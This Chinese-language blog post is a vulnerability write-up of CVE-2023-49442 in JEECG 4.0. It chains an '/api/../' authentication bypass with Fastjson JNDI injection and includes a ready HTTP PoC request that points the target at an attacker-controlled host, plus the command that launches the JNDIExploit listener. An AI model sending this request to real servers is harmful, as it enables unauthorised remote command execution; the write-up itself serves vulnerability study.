CVE-2023-49442 利用分析

合天网安实验室發表於2024-03-11

1. 漏洞介紹

JEECG(J2EE Code Generation)是開源的程式碼生成平臺,目前官方已停止維護。JEECG 4.0及之前版本中,由於/api介面鑑權時未過濾路徑遍歷,攻擊者可構造包含 ../的url繞過鑑權。攻擊者可構造惡意請求利用 jeecgFormDemoController.do?interfaceTest介面進行jndi注入攻擊實現遠端程式碼執行。注:Jeecg 與 Jeecg-boot 非相同應用。Jeccg官方地址為:https://gitee.com/jeecg/jeecg

2. 漏洞流程圖分析

image-20240218182545994

3. 環境搭建

由於版本比較老,是19年8月的專案,我就直接按照官方文件進行搭建了,期間我嘗試使用IDEA+Maven搭建,但是始終飄紅報錯,於是老老實實地按照官方文件使用eclipse+Maven環境搭建,我的本地配置如下:

官方文件寫的比較詳細我就不再贅述了:http://idoc.jeecg.com/1275933

  • 最新版eclipse

  • apache-maven-3.1.1-bin

  • JDK1.8_102(這裡有個坑就是jdk1.8不能與tomcat6相容,我們執行時候要使用tomcat7:run的命令)

  • Mysql5.7

  • Kali虛擬機器(充當vps的功能)

4. 漏洞詳情分析

由於這個專案已經是19年更新的了,我們去檢視使用的fastjson版本發現是1.2.31,是屬於存在漏洞的版本。

image-20240218140437413

感覺Eclipse審計起來不太方便,我使用IDEA來代替使用來審計。

現在我們已確定了Fastjson版本存在問題,進一步尋找觸發Fastjson的漏洞點。

在審計Fastjson漏洞的時候我們著重關注parseObjectparse這兩個關鍵詞。我們在IDEA中按下Ctrl+shift+f進行查詢:

image-20240218141505196

發現呼叫了JSONObject.parseObject(result),發現全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java檔案中進行了呼叫。分別是函式sendGet(String url, String param)以及sendPost(String url, String param)

然後繼續尋找在哪裡呼叫了這兩個函式:

同樣的方法,發現在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java中呼叫了這兩個函式:

    /**
     * 常用示例Demo:介面測試
     * @param request
     * @param response
     * @return AjaxJson
     */
    @RequestMapping(params = "interfaceTest")
    @ResponseBody
    public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {
             AjaxJson j=new AjaxJson();
         try {
             String serverUrl = request.getParameter("serverUrl");//請求的地址
             String requestBody = request.getParameter("requestBody");//請求的引數
             String requestMethod = request.getParameter("requestMethod");//請求的方式
                 if(requestMethod.equals("POST")){
                     if(requestBody !=""){
                         logger.info("----請求介面開始-----");
                         JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
                         logger.info("----請求介面結束-----"+sendPost);
                         j.setSuccess(true);
                         j.setObj(sendPost.toJSONString());
                     }else{
                         j.setSuccess(false);
                         j.setObj("請填寫請求引數");
                     }
                     
                 }
                 if(requestMethod.equals("GET")){
                      logger.info("----請求介面開始-----");
                      JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);
                      logger.info("----請求介面結束-----"+sendGet.toJSONString());
                      j.setSuccess(true);
                      j.setObj(sendGet);
                 }
        } catch (Exception e) {
            j.setSuccess(false);
            j.setObj("伺服器請求失敗");
            e.printStackTrace();
        }
        return j;
    }

這段程式碼接受三個引數:serverUrlrequestBodyrequestMethod。然後根據requestMethod的值決定呼叫不同的方法:HttpRequest.sendPostHttpRequest.sendGet

我們直接發包訪問該介面會鑑權被檢測到沒有登入,直接302跳轉,我們得想辦法bypass

image-20240218142440207

然後我們根據漏洞簡介定位/api未鑑權介面程式碼:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java

image-20240218172256215

也就是說對於以 /api/ 開頭的請求路徑,即使使用者未登入,也會被允許訪問,不會被攔截器攔截。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

加上我們檢視引用的Maven依賴中的alwaysUseFullPath為值預設false,這樣的話程式在處理發包中會對uri進行標準化處理。於是我們就可以使用/api/../的方式來進行bypass

image-20240218173310212

比如說我們的poc連結是/jeecg/api/../jeecgFormDemoController.do?interfaceTest= 然後進行標準化處理後就會變成/jeecg/jeecgFormDemoController.do?interfaceTest= 從而繞過登入限制。

image-20240218173450039

然後就是針對fastjson1.2.31版本的漏洞利用了,這裡我使用了整合的工具JNDIExploit-1.4-SNAPSHOT

利用方法就是先在我們的Kali虛擬機器(vps作用)上開啟監聽:

這裡因為我的虛擬機器上的java版本過高,Java 9及以上版本引入了模組化系統,其中的java.xml模組不會預設匯出com.sun.org.apache.xalan.internal.xsltc.runtime包,因此導致com.feihong.ldap.template.TomcatEchoTemplate類無法訪問com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet類。所以透過命令列引數--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED來向模組java.xml新增匯出指令,使得com.sun.org.apache.xalan.internal.xsltc.runtime包能夠被未命名模組(ALL-UNNAMED)訪問。

java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131

image-20240218173929316

然後用python公開一個poc.txt

image-20240218174239370

然後直接呼叫該介面使用下面的Poc即可:

POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: whoami
​
serverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET

image-20240218180819983

5. 總結

一開始準備復現這個漏洞是以為JEECG-BOOT爆這麼大的前臺RCE漏洞了,後面發現原來是19年的停止維護的版本。整個復現流程下來不算輕鬆,主要是老版本的環境Debug問題,透過本漏洞的復現學習,對fastjson漏洞alwaysUseFullPath繞過鑑權漏洞有了更多的體會。

更多網安技能的線上實操練習,請點選這裡>>

相關文章